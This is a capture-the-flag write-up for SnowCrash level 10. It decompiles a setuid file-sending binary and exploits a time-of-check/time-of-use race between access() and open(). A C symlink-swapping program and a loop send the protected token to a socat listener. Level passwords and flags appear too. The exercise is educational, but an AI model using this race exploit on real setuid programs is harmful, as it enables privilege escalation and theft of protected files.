snow-crash/maiboyer/level10/README.md

318 lines
6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Level 10
## how to login
username: level10
password: s5cAJpM8ev6XHw998pRWG728z
## Goal
run `getflag` as user `flag10`
## Actually doing something
```bash
level10@SnowCrash:~$ ll
total 28
dr-xr-x---+ 1 level10 level10 140 Mar 6 2016 ./
d--x--x--x 1 root users 340 Aug 30 2015 ../
-r-x------ 1 level10 level10 220 Apr 3 2012 .bash_logout*
-r-x------ 1 level10 level10 3518 Aug 30 2015 .bashrc*
-rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10*
-r-x------ 1 level10 level10 675 Apr 3 2012 .profile*
-rw------- 1 flag10 flag10 26 Mar 5 2016 token
```
not so lukcy this time, flag isn't readable...
lets run the executable and see what it does
```bash
level10@SnowCrash:~$ ./level10
./level10 file host
sends file to host if you have access to it
level10@SnowCrash:~$ ./level10 token 192.168.92.90
You don't have access to token
level10@SnowCrash:~$ ./level10 .profile 192.168.92.90
Connecting to 192.168.92.90:6969 .. Connected!
Sending file .. Damn. Unable to open file
```
this seems fishy, lets view it in ida this time...
```c
int main(int argc, const char **argv, const char **envp)
{
int *errno; // eax
char *errno_str; // eax
const char *file; // [esp+28h] [ebp-1028h]
const char *host; // [esp+2Ch] [ebp-1024h]
int socket; // [esp+30h] [ebp-1020h]
int fd; // [esp+34h] [ebp-101Ch]
ssize_t read_ret; // [esp+38h] [ebp-1018h]
_BYTE buf[4096]; // [esp+3Ch] [ebp-1014h] BYREF
struct sockaddr addr; // [esp+103Ch] [ebp-14h] BYREF
unsigned int v13; // [esp+104Ch] [ebp-4h]
v13 = __readgsdword(0x14u);
if ( argc <= 2 )
{
printf("%s file host\n\tsends file to host if you have access to it\n", *argv);
exit(1);
}
file = argv[1];
host = argv[2];
if ( access(file, 4) )
return printf("You don't have access to %s\n", file);
printf("Connecting to %s:6969 .. ", host);
fflush(stdout);
socket = ::socket(2, 1, 0);
*(_DWORD *)&addr.sa_data[6] = 0;
*(_DWORD *)&addr.sa_data[10] = 0;
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = inet_addr(host);
*(_WORD *)addr.sa_data = htons(0x1B39u);
if ( connect(socket, &addr, 0x10u) == -1 )
{
printf("Unable to connect to host %s\n", host);
exit(1);
}
if ( write(socket, ".*( )*.\n", 8u) == -1 )
{
printf("Unable to write banner to host %s\n", host);
exit(1);
}
printf("Connected!\nSending file .. ");
fflush(stdout);
fd = open(file, 0);
if ( fd == -1 )
{
puts("Damn. Unable to open file");
exit(1);
}
read_ret = read(fd, buf, 0x1000u);
if ( read_ret == -1 )
{
errno = __errno_location();
errno_str = strerror(*errno);
printf("Unable to read from file: %s\n", errno_str);
exit(1);
}
write(socket, buf, read_ret);
return puts("wrote file!");
}
```
Seems pretty straight forward, lets to create a file and listen to it using socat on the host machine
```bash
# vm
level10@SnowCrash:~$ echo "file" >/tmp/file
level10@SnowCrash:~$ ./level10 /tmp/file 192.168.92.90
Connecting to 192.168.92.90:6969 .. Connected!
Sending file .. wrote file!
```
```bash
# host
socat TCP-LISTEN:6969,fork stdio
.*( )*.
file
```
we got the file !
now the issue is that we can't send the token file direcly because it seems there isnt the
litlle setuid dance we have come to expect...
lets try to use a symlink ?
```bash
level10@SnowCrash:~$ ln -s $(realpath token) /tmp/tok2
level10@SnowCrash:~$ ./level10 /tmp/tok2 192.168.92.90
You don't have access to /tmp/tok2
```
When looking at the code, we have a check for permission (`access`) THEN we open the file using `open`
What if we try really hard to make it so when the program check for the file permission using access, it is a file we have full permission, but when it opens the file, it is changed to be the token file (a symlink to it)
lets write a little code for that:
```c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
if (argc < 2) {
fprintf(stderr, "%s: <file> <target>\n", argv[0]);
return 1;
}
const char *file = argv[1];
const char *target = argv[2];
int fd = -1;
while (1) {
unlink(file);
fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0777);
close(fd);
unlink(file);
symlink(target, file);
}
}
```
copy this to the VM (in /tmp), compile it, and run it
```bash
# shell 1
level10@SnowCrash:~$ /tmp/toctou /tmp/tok2 $(realpath token)
```
in shell 2 run something like this:
```bash
level10@SnowCrash:~$ while true; do ./level10 /tmp/tok2 192.168.92.90; done
```
since the issue (Named TOCTOU for `Time of Check - Time of Use`) is by nature time sensitive, we run it as long as we need to, hoping for at least ONE single nice happy path :D
and on the host, we get this:
```bash
socat TCP-LISTEN:6969,fork stdio
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
```
we get lots of empty files (the one we try to trick the permission check with), and few token :D
```bash
level10@SnowCrash:~$ su flag10 -c getflag
Password:
Check flag.Here is your token : feulo4b72j7edeahuete3no7c
```